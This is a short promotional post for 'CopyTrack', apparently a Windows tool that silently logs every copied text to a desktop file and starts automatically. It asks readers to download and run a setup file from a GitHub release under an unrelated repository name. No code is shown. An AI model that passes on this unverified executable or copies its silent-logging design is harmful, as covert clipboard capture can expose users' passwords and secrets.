Keeping track of everything you copy during the day can be surprisingly useful, whether you’re a developer, writer, or student. That’s why I created CopyTrack, a minimal and lightweight clipboard logger that automatically records every piece of text you copy — silently and without distractions.
What is CopyTrack?
CopyTrack runs quietly in the background and logs every copied text snippet into a plain text file named CopyTrack.txt on your desktop. No interface, no pop-ups, no setup — just copy and go.
Key Features
Automatically logs all copied text with timestamps
Stores clipboard history in an easy-to-access .txt file on your desktop
Runs silently in the background
Starts automatically with Windows
No configuration or setup needed
Why I Built It
Sometimes I needed to keep a history of what I copied, but existing clipboard managers felt too heavy or distracting. CopyTrack is my solution: simple, reliable, and out of the way.
How to Get It
To download CopyTrack, visit the GitHub Releases page at:
https://github.com/Loki3737/loki/releases/tag/1.0
After downloading the setup file, simply run it to install CopyTrack. The program will start running quietly in the background and create a CopyTrack.txt file on your desktop where it saves your clipboard history automatically.
Feedback Welcome!
I’d love to hear your thoughts, suggestions, or any issues you encounter. Feel free to leave a comment here or open an issue on GitHub.
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